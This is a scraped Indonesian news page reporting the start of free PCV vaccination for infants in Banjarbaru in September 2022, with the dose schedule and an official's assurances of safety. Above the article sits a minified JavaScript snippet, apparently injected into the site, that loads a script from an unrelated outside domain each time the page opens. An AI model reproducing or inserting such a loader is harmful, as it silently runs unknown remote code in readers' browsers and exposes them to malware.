(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

BESOK. Pemberian Vaksin PCV Serentak di Banjarbaru, Hindarkan Anak dari Pneumonia!


KANALKALIMANTAN.COM, BANJARBARU – Pemberian imunisasi Pneumococcal Conjugate Vaccine (PCV) di Kota Banjarbaru dilakukan secara serempak mulai 12 September 2022. Lokasi pelayanannya tersedia di Puskesmas, Posyandu atau pos layanan kesehatan lainnya.

Vaksin PCV termasuk jenis imunisasi baru yang bertujuan mencegah penyakit pneumonia pada anak. Suntik imun tersebut diberikan gratis secara bertahap, mulai dari anak usia 2, 3 hingga 12 bulan.

Ahli Madya Epidemiolog Kesehatan Dinkes Banjarbaru, Edi Sampana menyampaikan di Banjarbaru akan dilaksanakan mulai besok, Senin (12/9/2022) di Puskesmas Banjarbaru Utara.

“Pemberian vaksin ini serempak seluruh Indonesia, untuk di Kota Banjarbaru sendiri akan dilaksanakan pencanangan tingkat Provinsi Kalsel di Puskesmas Banjarbaru Utara pukul 14.30 Wita besok,” katanya.

 

Baca juga : BPJN Kalsel Pasang Jembatan Baja Darurat, Lalin di Jembatan Paringin Bergantian

Dalam pemberiannya, vaksin PCV ini dilakukan 3 kali bagi anak umur 2 bulan, bagi anak lahir 13 Juni 2022 dan seterusnya sudah bisa di vaksin

“Sesudah divaksin sewaktu berumur 2 bulan, anak itu disuntik lagi pada usia 3 bulan, kemudian disuntik lagi sewaktu anak berumur 12 bulan, dengan vaksin PCV Pneumococcal Conjugate Vaccine,” tuturnya.

Adapun pemberian vaksin PCV ini dapat diumpai di Puskesmas, Posyandu atau pos layanan kesehatan lainnya.

 

Baca juga  : Meriahkan Hari Pelanggan, Sambung Baru ICONNET Berhadiah Wisata Religi!

Walau terbilang vaksin jenis baru, vaksin PCV pada anak 2 bulan ini sangatlah aman yang bertujuan penyakit pneumonia pada anak.

“Sangat aman, selain mencegah penyakit Pneunomia pada anak, vaksin PCV bertujuan untuk mencegah penyakit radang paru (pneumonia), radang selaput otak (meningitis), radang telinga (otitis media) yang disebabkan oleh bakteri Pneumokokus,” pungkasnya.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : cell


Desy Arfianty

Recent Posts

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

7 jam ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

7 jam ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

7 jam ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

8 jam ago

Bangun Posyandu di Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More

8 jam ago

Kelurahan Guntung Manggis Membidik Juara Kampung Keluarga Berkualitas Nasional

KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More

8 jam ago

This website uses cookies.